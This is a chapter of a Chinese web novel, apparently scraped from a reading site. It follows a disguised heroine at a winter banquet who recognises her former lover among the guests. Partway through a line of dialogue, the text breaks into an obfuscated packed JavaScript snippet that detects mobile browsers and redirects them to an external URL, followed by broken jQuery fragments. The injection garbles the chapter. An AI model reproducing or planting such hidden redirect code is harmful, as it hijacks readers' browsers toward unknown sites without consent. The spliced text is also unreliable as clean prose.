默认冷灰
24号文字
方正启体

18. 第十八章

作者:知我暗涌本书字数:K更新时间:
    虞知宁借口回屋添衣,让谢季先行一步,可她在房里磨蹭了好一会,出门时发现谢季依旧在等她。


    府门前的积雪已被仆从铲得干干净净,两辆马车停在那里,车夫缩着脖子坐在辕上,谢季则安静地站在马车旁。


    虞知宁视线落在谢季身上,微微顿了一下。


    不得不说,谢季同他哥哥谢怀瑾一样,也生了副顶好的皮囊。


    十七八岁的年纪,身量却已经抽得极高。他今日穿了一件宝蓝色锦袍,衬得那张脸贵气非凡。


    他正盯着屋檐上的积雪出神,不做那副笑嘻嘻的表情时,眉眼间竟生出了几分冷淡疏离之意。


    恍惚间,竟有几分宋遂的影子。


    似乎察觉到什么,谢季偏头看过来。那冷淡倏地一收,眉眼弯弯地笑起来,像是冰雪消融,又变回了那个天真烂漫的少年。


    “大哥,你总算出来了。”他迎上前两步,“我怕兄长不熟悉那边的人,还是等着一起走吧。”


    那一团绚烂张扬的宝蓝色靠近过来,带着少年人特有的热烈,与她记忆里宋遂如霜如雪的清冷截然不同。


    虞知宁猛回过神来,谢季已经掀开了车帘:“兄长,上车吧。”


    她垂下眼,把那些奇怪的念头压下去:“那便有劳四弟了。”


    车厢里暖意融融的,她方坐好车帘便又被掀开,是谢季弯腰钻进来,在她身侧落座了。


    “后面那辆马车还另有用途,兄长不介意我坐这儿吧?”


    虞知宁着实被这举动惊了一下,但她很快恢复平静,面上并没露出什么异常。


    哪怕柳蘅说谢珏之前因病与弟弟们交情都不深,她也不能堂而皇之将拒绝说出口。


    “不介意。”她笑了笑,“四弟坐吧。”


    谢季应了一声,往后靠了靠,大马金刀的坐姿松散得像在自己家里。


    马车里虽然宽敞,但奈何虞知宁终究不是本人,与人密闭一车,还是显出了几分不适来。


    更何况这同乘之人,还是昨夜偷偷潜入她房中之人。想到此处,昨夜被他手指触碰过的脸颊,似乎也像有蚂蚁在爬。


    好在谢季此时没有再做出奇怪的举动,只开始断断续续讲着近日的见闻,虞知宁时不时应上一两句,马车内气氛倒显得十分融洽。


    车马缓缓前行,出城,绕过聚集的难民又往偏僻难行的山中走了近半个时辰,才终于停了下来。


    谢季先跳了下去,虞知宁掀开车帘,一股冷风裹着梅香扑面而来。抬头就看见高耸的院墙上,几枝老梅从墙内探出头来,开得正盛。


    别院门口站着两个小厮,见马车停了,连忙迎上来:“谢公子来了!快请进,我们公子等了好一会儿了。”


    说着,侧身让开路,又有人上前牵马。


    说起来,谢季如今还在国子监上学,今日做东的卢承逸也是荫监出身,与他同窗。世家之间,年纪相仿,又在同一处读书,大家关系自然熟络。


    谢季一路说笑,倒像回自己家一般自在:“兄长,请。”


    谢季侧身让虞知宁先行,自己跟在半步之后。进门绕过影壁,又穿过几道长廊,还未见到人影,已然听到了三三两两的说笑声。


    长廊尽头透出几缕梅香,混着冷风里的笑语飘过来。


    “我哥说了,谢家大公子昨日去借粮,干脆利落,不卑不亢。说跟他从前想的完全不一样,是个能办事的。”


    是个年轻的少年音色。


    “能让崔衍夸一句可不容易。看来谢家大公子这一回是真让不少人刮目相看了。”


    有人附和,语气温和。


    “可不是,听说他亲自站在粥棚前头施粥,一站就是一整日。从前那个病秧子,如今倒是硬气起来了。”


    “行了行了,”一个吊儿郎当的声音插进来,带着几分促狭,“我倒想起一桩事来。”


    “什么事?”


    众人被挑起了胃口。


    那吊儿郎当的声音继续:“这谢大公子生得实在是……我初见他时,还当是哪家的姑娘女扮男装混进来了。”


    话音落下,有人笑出声:“你这么一说,我也想起来了。那年在崔家宴上,他穿一身月白,远远瞧着,确实像个病美人。”


    “病美人”三个字一出,几个年轻公子笑得更欢了。


    有人接话:“崔瑜,你说你哥哥夸了那谢珏一通,可有提到对方病美人的长相?”


    “你们嘴上积点德。拿人外貌说事,有意思吗?”


    “哎哟,崔小公子急了。”那人笑嘻嘻地摆摆手,“行行行,不说了。不过话说回来,谢家大公子若真是个姑娘,那才叫——”话没说完,被旁边的人拽了一把袖子,才讪讪闭了嘴。


    虞知宁听着,谢季在身后打趣开口:“兄长莫怪,他们就是嘴上没个把门的。兄长从前不大出门走动,如今一亮相就闹出这么大动静,大家也是有些好奇。”


    她倒是面色如常,并不介意:“嘴长在别人身上,随他们去。”


    话音刚落,里头又传出一声催促。


    “快去门口看看,谢大公子车马到了没有?这都什么时辰了。”


    一个小厮应声小跑出来,方一绕过影壁,就险些撞上两人。他猛地刹住脚,抬头一看,脸色顿时白了。


    “谢、谢公子!”


    谢季笑眯眯地拍了拍他的肩:“别慌,去回你家公子,就说谢家大公子到了。”


    小厮连连点头,转身就跑:“公子,谢大公子来了!”尾音刚落,两人也绕过了最后一道影壁,眼前豁然开朗。


    阳光倾泻,将院中积雪映得亮堂堂的。几株老梅开得正盛,粉白花瓣缀着枝头,冷香幽幽地散在风里。


    梅树下或坐或站着七八个华服公子,听见动静,纷纷转过头来。


    院中倏地安静了一瞬。


    那些目光齐刷刷落在了虞知宁身上。


    虞知宁今日穿了一身月白锦袍,霜色大氅,通身上下不见一丝杂色。大氅领口扎了一圈细绒,堆积在脖颈间,衬得那张脸愈发白净。


    眉目如画,身量清癯,气度从容,站在雪地与梅影之间,活像从画里走出来的人。


    谢季在一旁笑着打破沉默:“怎么,都不认识了?你们念叨的人来了。”


    一紫衣公子最先迎上来,笑容满面:“谢大公子,快进来!就等你和四公子了!”


    “卢七,你这别院倒收拾得比上次雅致了。”谢季自在开口,顺便侧身朝虞知宁介绍:“大哥,这位便是今日做东的卢家七公子,卢承逸。”


    卢承逸年纪比谢季看起来稍稍大几岁。


    他是卢老爷子中年得的幺子,上头几个哥哥都大了他十几二十岁,全家上下宠得跟眼珠子似的。


    他今日穿了一件紫色锦袍,衬得他整个人贵气非凡,笑着看过来的样子,还透着一股温和得体的从容,像是天生就知道该怎么跟人打交道。


    卢承逸连忙拱手:“之前谢兄久病不出,小弟一直想探望,又怕叨扰。得知谢兄身体康复,这才冒昧设宴,也不知谢兄还记不记得我?”


    虞知宁微微颔首:“卢公子客气。几年前在崔府春日宴上见过,卢小公子一曲笛音绕梁三日,至今难忘。”


    卢承逸微微一怔,旋即笑开了:“那时候年纪小,吹得不好,献丑了。”


    说罢又侧身,做了个请的收拾:“里头备了明前龙井,还有几样点心,谢兄里头请。”


    众人陆续回神,有人笑着招呼,气氛渐渐活络起来。可方才说得最欢的那几个人,此刻却有些不太自在。


    那个调侃“病美人”的年轻公子端着茶盏,喝也不是,放也不是,脸上的笑僵了半截。旁边的人悄悄用胳膊肘捅了捅他,他这才回过神来,干咳一声,把茶盏搁在桌上。


    因着今日这宴席本就是为庆贺谢珏大病初愈而设,卢承逸自然将虞知宁安排在了自己身侧的主客位。位置极好,背风向阳,一抬头便能望见满树梅花。


    卢承逸亲手斟了杯茶推过来:“大公子,你尝尝这明前龙井。今年新贡的,我特地留了些,就想着等你来了品一品。”


    虞知宁接过茶盏,道了声谢后低头抿了一口。再抬眼时,发现侧边一个穿墨色锦袍的公子,正神色颇不自在地看着她。


    对视的一眼,他佯装低头喝了口茶,避开了目光。


    虞知宁收回视线,未做其他反应,只淡淡道:“我这些年身子不好,鲜少出来走动,在座的诸位公子,着实有些认不全了。若有失礼之处,还望见谅


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472244|201555||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    这话倒是实话,谢珏身体不好,出来走动的少。偶有几次出门也只待了小片刻就回府了。


    谢季在她下手坐下,听闻此言立即接话:“大哥放心,有我在呢,认不齐的我替你介绍。”


    他说着,目光扫了一圈,从近到远,挨个点过去。


    “这位是崔家五公子,崔衍的弟弟崔瑜。”崔家少年冲虞知宁拱了拱手,笑得爽朗,的确能看出几分崔衍的影子。


    “这位是卢家二公子,卢七的堂兄,在国子监读书,文章写得极好。”一个穿月色锦袍的青年微微颔首,神色温和。


    谢季的视线落在那位墨色锦袍的公子身上,笑容不变,语气却多了几分促狭。


    “这位是郑家四小公子,郑谦。方才在廊下,就数他话最多。”


    郑谦讪讪地笑了笑,举杯朝虞知宁道:“谢大公子,方才我嘴欠,您别往心里去。我敬您一杯。”


    说着,仰头一口干了。


    虞知宁也不叫人难堪,在她眼里,面前这群公子哥儿,不过是一群毛都没长齐的小鬼。成日里招猫逗狗,嘴上跑马,放在现代,估计还在为高考熬秃头的年纪呢。


    她只笑着开口:“郑公子客气。”


    却不知这一笑,对面的郑谦耳尖倏地一红,连忙又给自己斟了一杯。


    身边的谢季和卢承逸目光落在虞知宁脸上,也是神色一怔。


    梅香幽幽地飘着,现场的氛围莫名变得奇怪起来。


    最后还是卢承逸轻咳一声,岔开了话题,只不过是朝着谢季。


    “对了,你不是说你那位兄长初入京都,要跟着来见见世面吗?怎么还不见人影?”


    谢季因这一声,视线终于从虞知宁面上挪开。


    他将一朵不知什么时候飘落进他茶盏里的花蕊轻轻挑出,搁在桌面,拇指慢悠悠地一碾。


    花瓣顿时四分五裂,洇出汁水。


    “哦,他说要先喝药,让我们先来。许是快来了吧。”


    话音方落,院门口传来一阵脚步声。一个小厮探进半个身子,朝卢承逸躬了躬身。


    “七公子,门外来了位公子,说是姓谢,名濯玉。小的瞧着面生,特来请示,是府上的客人吗?”


    虞知宁倏地抬起了头。


    谢濯玉!


    送她死遁的谢濯玉!


    卢承逸已笑着起身,面上功夫做得极足:“快迎进来!”


    虞知宁心脏莫名怦怦直跳,下意识攥紧了茶盏,掌心早已在这寒冷室外沁出了一层薄汗。


    “哎呀。”


    听闻这话,谢季突然开口,像是刚想起什么无关紧要的小事。


    “忘了同兄长说二哥也要来这回事了。本想着路上提一句,一打岔就给忘了。”


    他说着看向虞知宁,表情真挚。


    虞知宁也想到了府门前那两辆马车,后面那辆她当时还以为装了什么贺礼,现在看估计只是留给谢濯玉乘坐的。


    谢季这人也不知安的什么心,今日在场的诸位都是嫡出公子,将谢濯玉放在一群嫡子里,是存心让他难堪吗?


    那可是蛰伏多年、最后将所有人踩在脚下的人、超级记仇的主啊。


    正思索间,廊外传来了两道脚步声。


    一道急促,应该是领路的小厮;一道缓慢,间或夹着几声轻咳。


    院中的说笑声不知什么时候低了下去。虞知宁和众人一样,不约而同将视线投向廊边。


    “公子,客人到了。”


    小厮的身影出现在回廊转角,身后不远处跟着一个缓慢移动的人影。


    那人逆着光看不清面容,只能瞧见身量极高,一身霜色的衣袍在廊柱间轻轻晃动。


    忽明忽暗。


    若隐若现。


    一股熟悉的药香混着梅香飘入她鼻间,她脑子里鬼使神差浮现出了宋遂的模样,还有那纵情混乱的一夜。


    正恍惚着,谢季的声音倏地在身旁响起。


    “兄长还未见过吧,那就是二哥,谢濯玉。”


    虞知宁抬眼望去,熟悉的面容映入眼帘。她指尖一抖,茶水差点溢出杯缘。


    怎么会是……


    宋遂!!!


    谢濯玉是……宋遂!!!!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)